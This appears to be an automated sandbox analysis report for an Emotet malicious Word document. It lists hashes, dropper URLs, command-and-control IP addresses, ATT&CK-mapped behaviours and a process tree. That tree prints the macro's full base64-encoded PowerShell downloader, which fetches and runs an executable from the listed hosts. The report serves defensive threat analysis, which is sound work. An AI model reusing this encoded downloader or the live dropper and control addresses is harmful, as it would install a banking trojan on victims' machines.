emotet | 5d4548534f15df03e54ccccf8eaa3a7cd08ac7482dfe65414a7758507e96d7f3

Analysis

max time kernel
136s
max time network
132s
platform
windows10_x64
resource
win10
submitted
21/09/2020, 11:06

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General

Target
emotet_e1_5d4548534f15df03e54ccccf8eaa3a7cd08ac7482dfe65414a7758507e96d7f3_2020-09-21__110540098824._doc.doc
Size 214KB
Sample200921-3g579decrs
SHA256 5d4548534f15df03e54ccccf8eaa3a7cd08ac7482dfe65414a7758507e96d7f3
MD5 a1db7853379599961a49069af49c6ca7
SHA1 0582fd10eae5a060f0a685fdb9fa4d36eed8dca0
SHA512 1fa32b07a8eeca44306d6806ab6d13422940c69de526821d2bf22d8852a3c662f097703d4fe39544319cc88b6fd1fcba9be64ddff4d6e83cad63768c4fbbc5ea
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://dongyabingfu.com/wp-includes/w/
exe.dropper
http://givingthanksdaily.com/Q/
exe.dropper
http://uniteddatabase.net/wp-admin/dhJ/
exe.dropper
http://www.gozowindmill.com/meteo/nmy/
exe.dropper
http://kcdryervents.com/ca/D/
exe.dropper
http://www.greaudstudio.com/docs/kGQ/
exe.dropper
https://mrveggy.com/erros/3Ss/

Extracted

Family

emotet

91.105.94.200:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
189.2.177.210:443
181.30.61.163:443
185.178.10.77:80
199.203.62.165:80
177.73.0.98:443
87.106.46.107:8080
5.196.35.138:7080
5.189.178.202:8080
185.183.16.47:80
78.249.119.122:80
191.182.6.118:80
96.227.52.8:443
186.103.141.250:443
50.28.51.143:8080
111.67.12.221:8080
50.121.220.50:80
61.197.92.216:80
212.71.237.140:8080
82.76.111.249:443
110.142.219.51:80
92.24.50.153:80
190.24.243.186:80
51.255.165.160:8080
190.2.31.172:80
82.230.1.24:80
68.183.170.114:8080
192.241.146.84:8080
188.135.15.49:80
186.70.127.199:8090
72.47.248.48:7080
216.47.196.104:80
35.143.99.174:80
213.197.182.158:8080
220.109.145.69:80
172.104.169.32:8080
77.90.136.129:8080
170.81.48.2:80
185.94.252.27:443
138.97.60.141:7080
64.201.88.132:80
137.74.106.111:7080
51.159.23.217:443
178.250.54.208:8080
185.94.252.12:80
45.16.226.117:443
80.11.164.185:80
187.162.248.237:80
204.225.249.100:7080
96.245.123.149:80
70.32.115.157:8080
190.6.193.152:8080
185.215.227.107:443
177.74.228.34:80
190.115.18.139:8080
217.13.106.14:8080
12.162.84.2:8080
190.190.148.27:8080
104.131.41.185:8080
155.186.0.121:80
104.131.103.37:8080
114.158.45.53:80
152.169.22.67:80
67.247.242.247:80
98.13.75.196:80
74.136.144.133:80
74.58.215.226:80
190.163.31.26:80
192.241.143.52:8080
209.236.123.42:8080
174.113.69.136:80
68.69.155.181:80
77.238.212.227:80
77.106.157.34:8080
65.36.62.20:80
181.129.96.162:8080
217.199.160.224:7080
45.33.77.42:8080
94.176.234.118:443
111.67.77.202:8080
83.169.21.32:7080
45.46.37.97:80
60.93.23.51:80
68.183.190.199:8080
70.32.84.74:8080
95.9.180.128:80
219.92.13.25:80
61.92.159.208:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2204	1772	powershell.exe	73

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3468-15-0x0000000000510000-0x0000000000522000-memory.dmp	emotet
behavioral2/memory/3468-15-0x0000000000510000-0x0000000000522000-memory.dmp	emotet
behavioral2/memory/3468-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3468-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2108-19-0x0000000002050000-0x0000000002062000-memory.dmp	emotet
behavioral2/memory/2108-19-0x0000000002050000-0x0000000002062000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
14	2204	powershell.exe
27	2204	powershell.exe
29	2204	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3468	Iy44j7.exe
2108	credui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\oleaccrc\credui.exe	Iy44j7.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3148	WINWORD.EXE
3148	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2204	powershell.exe
2204	powershell.exe
2204	powershell.exe
2108	credui.exe
2108	credui.exe
2108	credui.exe
2108	credui.exe
2108	credui.exe
2108	credui.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2204	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 3468	2204	powershell.exe	82
PID 2204 wrote to memory of 3468	2204	powershell.exe	82
PID 2204 wrote to memory of 3468	2204	powershell.exe	82
PID 3468 wrote to memory of 2108	3468	Iy44j7.exe	83
PID 3468 wrote to memory of 2108	3468	Iy44j7.exe	83
PID 3468 wrote to memory of 2108	3468	Iy44j7.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_5d4548534f15df03e54ccccf8eaa3a7cd08ac7482dfe65414a7758507e96d7f3_2020-09-21__110540098824._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABYADMAZAB4AGIAaQBnAD0AKAAoACcARgAwACcAKwAnADIAJwApACsAKAAnAG8AMAAnACsAJwAyAGEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAcwBFAHIAcABSAE8AZgBpAEwARQBcAE8ANAA0AHYAawA0AHcAXAB1AGwASgAyAEgAQgAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAYwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBDAHUAUgBgAEkAYABUAHkAUABSAE8AdABvAGAAQwBvAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAJwApACsAKAAnACAAdABsACcAKwAnAHMAJwApACkAOwAkAEsAaAB4AHgAZwBjAHMAIAA9ACAAKAAnAEkAJwArACgAJwB5ADQANAAnACsAJwBqACcAKQArACcANwAnACkAOwAkAFYAcQBxAHoAdgBhAHgAPQAoACcASgByACcAKwAoACcAdgAnACsAJwAxAHAAXwAnACkAKwAnADcAJwApADsAJABRAGMAbgByADcAawBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AdQAnACsAKAAnAHcAJwArACcATwA0ADQAdgBrADQAJwApACsAJwB3ACcAKwAnAE8AdQAnACsAKAAnAHcAJwArACcAVQBsAGoAMgBoAGIAMQAnACsAJwBPACcAKwAnAHUAJwApACsAJwB3ACcAKQAgAC0AQwByAGUAcABsAGEAQwBFACAAKAAnAE8AJwArACcAdQB3ACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABLAGgAeAB4AGcAYwBzACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQASQB3AHkAbwBtAGMAaQA9ACgAJwBBAGsAJwArACcAZgAnACsAKAAnAHAAJwArACcAdABqADkAJwApACkAOwAkAEMAbgB3ADIAegBvAHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBsAEkARQBuAFQAOwAkAEsAdgB1AGYAdwB2AG4APQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoALwAvAGQAJwApACsAJwBvACcAKwAoACcAbgBnAHkAYQAnACsAJwBiACcAKQArACgAJwBpAG4AZwBmACcAKwAnAHUAJwApACsAKAAnAC4AYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQBpAG4AYwBsACcAKwAnAHUAJwApACsAJwBkACcAKwAoACcAZQBzAC8AJwArACcAdwAnACkAKwAoACcALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AZwAnACsAJwBpAHYAJwApACsAKAAnAGkAbgBnAHQAaAAnACsAJwBhACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAcwBkAGEAaQBsAHkAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBRAC8AKgAnACsAJwBoACcAKQArACcAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAdQAnACsAJwBuAGkAJwApACsAKAAnAHQAZQBkACcAKwAnAGQAJwApACsAKAAnAGEAdAAnACsAJwBhACcAKQArACcAYgAnACsAKAAnAGEAcwAnACsAJwBlACcAKQArACgAJwAuACcAKwAnAG4AZQAnACkAKwAnAHQAJwArACgAJwAvACcAKwAnAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAGQAJwApACsAKAAnAGgAJwArACcASgAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAvAC8AdwAnACkAKwAnAHcAdwAnACsAKAAnAC4AZwAnACsAJwBvAHoAJwArACcAbwB3AGkAbgAnACkAKwAnAGQAJwArACgAJwBtACcAKwAnAGkAbAAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAbQAnACkAKwAnAGUAJwArACgAJwB0AGUAbwAnACsAJwAvAG4AJwApACsAKAAnAG0AeQAvACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AawBjACcAKwAnAGQAJwApACsAJwByAHkAJwArACcAZQByACcAKwAoACcAdgBlAG4AJwArACcAdAAnACkAKwAoACcAcwAnACsAJwAuAGMAbwBtAC8AYwBhACcAKQArACcALwAnACsAJwBEAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAvAHcAJwApACsAKAAnAHcAdwAnACsAJwAuACcAKQArACgAJwBnAHIAZQAnACsAJwBhAHUAZAAnACkAKwAnAHMAdAAnACsAJwB1ACcAKwAnAGQAJwArACgAJwBpAG8ALgAnACsAJwBjACcAKQArACcAbwBtACcAKwAoACcALwAnACsAJwBkAG8AYwAnACkAKwAnAHMALwAnACsAJwBrACcAKwAnAEcAUQAnACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAJwArACcAcABzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAG0AJwArACgAJwByAHYAZQAnACsAJwBnACcAKwAnAGcAeQAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGUAcgByACcAKwAnAG8AJwArACcAcwAvADMAUwAnACkAKwAnAHMALwAnACkALgAiAFMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBoAGoAZwB3AHQAdwA9ACgAKAAnAE8AJwArACcAdQBvADgAJwApACsAKAAnAG8AYQAnACsAJwB3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARQA1AGoAbgB3AGIAcQAgAGkAbgAgACQASwB2AHUAZgB3AHYAbgApAHsAdAByAHkAewAkAEMAbgB3ADIAegBvAHoALgAiAEQAYABvAFcAbgBMAGAAbwBBAGAAZABGAGkATABFACIAKAAkAEUANQBqAG4AdwBiAHEALAAgACQAUQBjAG4AcgA3AGsAbgApADsAJABMAGUAcQBoAHcAcgBoAD0AKAAnAEYAcgAnACsAKAAnAHkAawAnACsAJwA2ACcAKQArACcAaAA2ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGMAbgByADcAawBuACkALgAiAGwAYABlAG4AZwB0AGgAIgAgAC0AZwBlACAAMgAyADEAMgAzACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFEAYwBuAHIANwBrAG4AKQA7ACQAVQB6AGgAMQB6ADAANQA9ACgAJwBOACcAKwAoACcANQA0ACcAKwAnAHoAbAB2AGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEEAMABwADQAMgBnAHUAPQAoACcATQAwACcAKwAoACcAZQAnACsAJwA2AG0AagBtACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAG4AdgBtAG8AcAAzAD0AKAAoACcAUQBoAGMAJwArACcAeQBwACcAKQArACcAZAAnACsAJwA5ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Users\Admin\O44vk4w\Ulj2hb1\Iy44j7.exe
  "C:\Users\Admin\O44vk4w\Ulj2hb1\Iy44j7.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Windows\SysWOW64\oleaccrc\credui.exe
    "C:\Windows\SysWOW64\oleaccrc\credui.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2108-19-0x0000000002050000-0x0000000002062000-memory.dmp

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memory/2204-9-0x00007FFD519A0000-0x00007FFD5238C000-memory.dmp

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memory/2204-11-0x000002322B3C0000-0x000002322B3C1000-memory.dmp

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memory/2204-10-0x000002322B210000-0x000002322B211000-memory.dmp

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memory/3148-5-0x000001A2F3445000-0x000001A2F344A000-memory.dmp

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memory/3148-8-0x000001A2F3612000-0x000001A2F3617000-memory.dmp

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memory/3148-7-0x000001A2F3612000-0x000001A2F3617000-memory.dmp

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memory/3148-6-0x000001A2F0E43000-0x000001A2F0E48000-memory.dmp

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memory/3148-0-0x00007FFD58DD0000-0x00007FFD59496000-memory.dmp

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memory/3148-4-0x000001A2F3444000-0x000001A2F3445000-memory.dmp

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memory/3148-3-0x000001A2F3612000-0x000001A2F3617000-memory.dmp

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memory/3148-2-0x000001A2F3611000-0x000001A2F3612000-memory.dmp

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memory/3148-1-0x000001A2F3445000-0x000001A2F344A000-memory.dmp

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memory/3468-15-0x0000000000510000-0x0000000000522000-memory.dmp

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memory/3468-16-0x00000000001F0000-0x0000000000200000-memory.dmp

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